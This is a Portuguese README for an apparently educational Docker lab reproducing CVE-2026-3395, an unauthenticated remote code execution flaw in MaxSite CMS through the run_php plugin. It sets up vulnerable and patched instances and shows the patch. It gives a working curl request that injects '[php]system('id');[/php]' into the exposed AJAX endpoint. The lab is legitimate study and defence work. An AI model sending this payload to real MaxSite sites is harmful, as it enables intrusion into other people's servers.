
# Laboratório Docker Educacional demonstrando CVE-2026-3395, uma RCE não autenticada no MaxSite CMS via plugin run_php, com ambientes vulneráveis e corrigidos para reprodução e análise seguras.
Este repositório é apenas para fins educacionais e de pesquisa. Todos os testes devem ser feitos em um ambiente de laboratório Docker local. Não implante esta configuração em sistemas públicos ou de produção.
A CVE-2026-3395 afeta o MaxSite CMS e permite acesso não autenticado a um endpoint administrativo AJAX. Quando o plugin run_php está habilitado, a entrada do usuário pode ser avaliada como código PHP através do sistema de hooks do CMS, o que pode levar à Execução Remota de Código (RCE).
Este repositório inclui:
O endpoint vulnerável está localizado em:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
Na versão vulnerável:
dados POST) é passada através de mso_hook()run_php processa blocos [php]...[/php]eval()Se run_php estiver habilitado, isso resulta em execução remota de código não autenticada.
A versão corrigida adiciona:
if (!is_login()) die('no login');
mso_checkreferer();
Isso restringe o acesso apenas a usuários autenticados.
Este laboratório cria dois ambientes:
| Ambiente | Porta |
|---|---|
| Vulnerável | 8081 |
| Corrigido | 8082 |
docker compose up -d --build
Isso irá:
run_php na configuração do laboratórioAbra no seu navegador:
http://localhost:8081 (Vulnerável)
http://localhost:8082 (Corrigido)
Ambas as instâncias devem carregar com sucesso.

A rota AJAX usa um caminho codificado em base64.
O Base64 de:
admin/plugins/editor_markitup/preview-ajax.php
é:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Resultado esperado:
no login

Para parar os contêineres:
docker compose down -v
Use este projeto apenas em ambientes isolados para fins de pesquisa e aprendizado.